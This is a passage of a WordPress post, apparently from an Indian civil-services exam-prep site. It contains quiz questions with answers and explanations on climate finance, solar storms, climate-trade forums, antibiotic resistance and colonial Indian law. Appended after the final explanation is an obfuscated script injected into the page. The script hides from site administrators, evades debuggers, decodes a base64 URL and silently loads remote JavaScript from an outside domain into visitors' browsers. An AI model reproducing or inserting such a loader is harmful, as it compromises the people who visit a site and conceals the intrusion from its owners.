Program(UNEP).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">II. It\u00a0 raises money through voluntary contributions from developed countries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">III. Recipient countries themselves can propose and design projects that help turn their climate commitments into concrete, implementable actions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Which of the statements given above are correct?&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(a) I and Il only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(b) II and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(c) I and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Answer: (b) II and III only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>In NEWS:<\/strong> India to spruce up mechanisms for accessing climate finance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Green Climate Fund (GCF):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li>The GCF is a climate finance fund established under the UN Framework Convention on Climate Change (UNFCCC). <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>It\u2019s headquartered in Songdo, Incheon, South Korea.<\/li>\n\n\n\n<li>Its main goal is to help developing countries fund projects for both mitigation (reducing greenhouse gas emissions) and adaptation (dealing with climate impacts).<\/li>\n\n\n\n<li>The GCF has a 24-member Board, with equal representation from developed and developing countries.<\/li>\n\n\n\n<li>GCF raises money through voluntary contributions from developed countries. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>It uses a mix of financial instruments: grants, concessional loans, equity, and guarantees.<\/li>\n\n\n\n<li>A core principle of GCF is \u201ccountry ownership\u201d: recipient countries lead on proposing and designing projects. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>There is a \u201cReadiness Programme\u201d which helps countries build capacity to engage with GCF.<\/li>\n\n\n\n<li>GCF works through accredited entities (over 200) \u2014 these include development banks, national institutions, UN agencies, and civil society organizations.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>GCF\u2019s strategic plan (2024\u20132027) focuses on:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li>Helping countries convert their climate commitments (like NDCs) into real projects.<\/li>\n\n\n\n<li>Scaling up clean energy, especially in buildings, transport, and industry.<\/li>\n\n\n\n<li>Strengthening adaptation financing, particularly for local-level actions.<\/li>\n\n\n\n<li>Providing early-stage funding for climate startups and innovative business models.<\/li>\n\n\n\n<li>Making it easier for national and regional institutions (especially in developing countries) to directly access GCF funds.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><br><strong>Q. Which of the following statements regarding \u2018Green Climate Fund\u2019 is\/are correct?<\/strong> <br><br>1. It is intended to assist the developing countries in adaptation and mitigation practices to counter climate change. <br>2. It is founded under the aegis of UNEP, OECD, Asian Development Bank and World Bank. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 only <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-109 wp-block-paragraph\" style=\"color:#0214d5\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/india-to-spruce-up-mechanisms-for-accessing-climate-finance\/article70287103.ece#:~:text=As%20of%20August%202024%2C%20India,enterprises%20and%20climate%20start%2Dups\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/india-to-spruce-up-mechanisms-for-accessing-climate-finance\/article70287103.ece#:~:text=As%20of%20August%202024%2C%20India,enterprises%20and%20climate%20start%2Dups<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>7. If a Coronal mass ejection (CME) from the sun reaches the Earth, which of the following are the possible effects on the Earth?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">1. GPS and navigation systems could fail.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">2. Tsunamis could occur at equatorial regions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">3. Power grids could be damaged.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">4. Intense auroras could occur over much of the Earth.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">5. Forest fires could take place over much of the planet.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">6. Orbits of the satellites could be disturbed.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">7. Shortwave radio communication of the aircraft flying over polar regions could be interrupted.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(a) 1, 2, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(b) 2, 3, 5, 6 and 7 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(c) 1, 3, 4, 6 and 7 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(d) 1, 2, 3, 4, 5, 6 and 7<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Answer: (c) 1, 3, 4, 6 and 7 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>In NEWS:<\/strong> Astronomers spot coronal mass ejection on another star for first time<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Coronal mass ejection:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>CMEs release large quantities of matter from the Sun&#8217;s atmosphere into the solar wind and interplanetary space. The ejected matter is a plasma consisting primarily of electrons and protons embedded within its magnetic field.<\/li>\n\n\n\n<li>This magnetic field is commonly in the form of a flux rope, a helical magnetic field with changing pitch angles.<\/li>\n\n\n\n<li><strong>Geomagnetic storms: <\/strong>A CME can cause a geomagnetic storm by transferring energy to Earth&#8217;s magnetic field. This can cause the ionosphere and upper thermosphere to heat up, and create intense currents in Earth&#8217;s magnetosphere.<\/li>\n\n\n\n<li>Auroras<strong>: <\/strong>When a CME collides with Earth&#8217;s magnetosphere, it can send radiation into Earth&#8217;s upper atmosphere. This radiation causes gas molecules in the atmosphere to release light, creating auroras, also known as the northern and southern lights.<\/li>\n\n\n\n<li><strong>Radio <\/strong><strong>signal and navigation system disruption: <\/strong>CMEs can disrupt radio signals and navigation systems.<\/li>\n\n\n\n<li><strong>Satellite drag: <\/strong>CMEs can create drag for low-orbiting satellites.<\/li>\n\n\n\n<li><strong>Power grid damage:<\/strong> CMEs can damage electrical transmission line facilities, which can lead to power outages.<\/li>\n\n\n\n<li><strong>Radiation storms: <\/strong>The radiation storms associated with CMEs can be hazardous to astronauts and spacecraft.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Hence, statements 1, 3, 4, 6 and 7 are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">Coronal mass ejection (CME) does not cause tsunamis or forest fires on Earth:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-130\">\n<li><strong>Tsunamis:<\/strong> Tsunamis are caused by the displacement of a large amount of water in an ocean or lake, such as by earthquakes, volcanic eruptions, or underwater explosions. CMEs are giant clouds of electrically charged particles from the sun that move at high speeds. While solar storms can generate shock waves that affect the sun, they can&#8217;t directly cause tsunamis on Earth.<\/li>\n\n\n\n<li><strong>Forest fires:<\/strong> There is no causal link between CMEs and forest fires.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Hence, statements 2 and 5 are incorrect.<\/strong><strong><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. If a major solar storm (solar flare) reaches the Earth, which of the following are the possible effects on the Earth?<\/strong> <br><br>1. GPS and navigation systems could fail. <br>2. Tsunamis could occur at equatorial regions. <br>3. Power grids could be damaged. <br>4. Intense auroras could occur over much of the Earth. <br>5. Forest fires could take place over much of the planet. <br>6. Orbits of the satellites could be disturbed. <br>7. Shortwave radio communication of the aircraft flying over polar regions could be interrupted. <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1, 2, 4 and 5 only <br>(b) 2, 3, 5, 6 and 7 only <br><strong>(c) 1, 3, 4, 6 and 7 only<\/strong> <br>(d) 1, 2, 3, 4, 5, 6 and 7<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-132 wp-block-paragraph\" style=\"color:#0214d5\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/astronomers-spot-storm-on-another-star-for-first-time\/article70286720.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/astronomers-spot-storm-on-another-star-for-first-time\/article70286720.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>8. Consider the following statements regarding the \u2018Integrated forum on Climate Change and Trade (IFCCT):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">1. IFCCT was launched at COP-30 as a permanent platform on climate &#8211; trade interface.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">2. It aims to negotiate trade rules and engage in non-judgmental, solution-oriented dialogue on climate and trade policies.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">3. It mandates to frame binding global trade rules on carbon border taxes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">4. The Forum is open to all Parties to the United Nations Framework Convention on Climate Change (UNFCCC).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>In NEWS: <\/strong>COP30 launches forum to navigate climate and trade tensions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Integrated forum on Climate Change and Trade (IFCCT):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-147\">\n<li><strong>IFCCT was launched at COP-30 (2025)<\/strong> as a permanent platform on climate\u2013trade interface. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The objective is <strong>not to negotiate trade rules<\/strong>, but to engage in <strong>non-judgmental, solution-oriented dialogue<\/strong> on how trade measures, climate ambition, and development priorities interact. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>The Forum is <strong>open to all Parties to the UNFCCC<\/strong>. <strong>Hence statement 4 is correct.<\/strong><\/li>\n\n\n\n<li>It is <strong>co-chaired by Brazil and a developed-country partner<\/strong>, ensuring balanced representation.<\/li>\n\n\n\n<li>IFCCT discusses <strong>carbon border measures, green industrial policies, and trade\u2013climate tensions<\/strong>.<\/li>\n\n\n\n<li>It begins with <strong>open-ended consultations (2025\u201326)<\/strong> to define agenda and modalities.<\/li>\n\n\n\n<li><strong>TESS (Trade, Environment, Sustainable Development)<\/strong> serves as the technical Secretariat.<\/li>\n\n\n\n<li>The Forum works on aligning <strong>trade rules with climate ambition<\/strong> while considering development needs.<\/li>\n\n\n\n<li>It focuses on concerns of developing countries about <strong>green protectionism<\/strong>.<\/li>\n\n\n\n<li>First formal consultation is scheduled for <strong>Geneva (Dec 2025)<\/strong>.<\/li>\n\n\n\n<li>IFCCT does <strong>not create binding trade rules<\/strong>, unlike the WTO. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>It promotes <strong>One-Earth, fair-transition principles<\/strong> in climate-related trade policies.<\/li>\n\n\n\n<li>Helps countries adapt to <strong>CBAM-type border carbon taxes<\/strong>.<\/li>\n\n\n\n<li>Facilitates cooperation on <strong>green supply chains, low-carbon technologies<\/strong>, and standards.<\/li>\n\n\n\n<li>Aims to prevent trade measures from undermining <strong>climate justice<\/strong> and <strong>equity<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements:\u00a0<\/strong> <br><br><strong>Statement I:<\/strong> At the 28th United Nations Climate Change Conference (COP28), India refrained from signing the &#8216;Declaration on Climate and Health&#8217;.\u00a0\u00a0<br><strong>Statement II: <\/strong>The COP28 Declaration on Climate and Health is a binding declaration; and if signed, it becomes mandatory to decarbonize the health sector.\u00a0\u00a0 <br><strong>Statement III:<\/strong> If India&#8217;s health sector is decarbonized, the resilience of its health-care system may be compromised. \u00a0 <br><br><strong>Which one of the following is correct in respect of the above statements?\u00a0\u00a0<\/strong> <br><br>(a) Both Statement II and Statement III are correct and both of them explain Statement I\u00a0\u00a0 <br>(b) Both Statement II and Statement III are correct but only one of them explains Statement I\u00a0\u00a0<br><strong>(c) Only one of the Statements II and III is correct and that explains Statement I\u00a0\u00a0<\/strong> <br>(d) Neither Statement II nor Statement III is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-148 wp-block-paragraph\" style=\"color:#0214d5\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/cop30-launches-forum-to-navigate-climate-and-trade-tensions\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/cop30-launches-forum-to-navigate-climate-and-trade-tensions<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>9. \u2018Global antibiotic resistance surveillance report 2025 (GLASS)\u2019 is released by which of the following?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(a) The Global Leaders Group on Antimicrobial Resistance (GLG)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">(b) The World Health Organization (WHO)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(c) The Food and Agriculture Organization (FAO) under its One-Health initiative<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">(d) The World Organisation for Animal Health (WOAH)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Answer: (b) The World Health Organization (WHO)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>In NEWS: <\/strong>Holding up GLASS to India; securing stewardship to tackle AMR<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>GLASS 2025 Report:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-158\">\n<li><strong>GLASS (Global Antimicrobial Resistance &amp; Use Surveillance System)<\/strong> is <strong>WHO\u2019s <\/strong>global surveillance platform for AMR and antimicrobial use. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li><strong>GLASS 2025<\/strong> provides global AMR estimates based on data from <strong>over 23 million confirmed infections<\/strong> across more than <strong>100 countries<\/strong>.<\/li>\n\n\n\n<li>The report notes that <strong>1 in 6 bacterial infections globally<\/strong> in 2023 was resistant to standard antibiotic treatment.<\/li>\n\n\n\n<li>GLASS 2025 provides national and regional estimates for <strong>93 pathogen &#8211; infection &#8211; antibiotic combinations<\/strong>, with trend data for 16 combinations (2018\u20132023).<\/li>\n\n\n\n<li>GLASS collects data across multiple modules:<ul><li>AMR surveillance (GLASS-AMR)<\/li><\/ul><ul><li>Antimicrobial consumption\/use (GLASS-AMC)<\/li><\/ul><ul><li>Emerging resistance (GLASS-EAR)<\/li><\/ul><ul><li>Invasive fungal infections (GLASS-FUNGI)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>One-Health surveillance (human\u2013animal\u2013environment linkages)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. Which of the following are the reasons for the occurrence of multi-drug resistance in microbial pathogens in India?<\/strong> <br><br>1. Genetic predisposition of some people <br>2. Taking incorrect doses of antibiotics to cure diseases <br>3. Using antibiotics in livestock farming <br>4. Multiple chronic diseases in some people <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 and 2 <br>(b) 2 and 3 only <br>(c) 1, 3 and 4 <br><strong>(d) 2, 3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-159 wp-block-paragraph\" style=\"color:#0214d5\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/holding-upglass-to-india-securing-stewardship-to-tackle-amr\/article70272630.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/holding-upglass-to-india-securing-stewardship-to-tackle-amr\/article70272630.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>10. By which one of the following Acts was the Governor General of Bengal, designated as the Governor General of India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(a) The Regulating Act<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(b) The Pitt&#8217;s India Act<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(c) The Charter Act of 1793<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(d) The Charter Act of 1833<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Answer: (d) The Charter Act of 1833<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Explanation:<\/strong> <\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">The <strong>Charter Act of 1833<\/strong> redesignated the <strong>Governor-General of Bengal as the Governor-General of India<\/strong>, giving him exclusive legislative powers for the whole of British India.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to Indian polity, The State Election Commission (SEC) is empowered to: 1. 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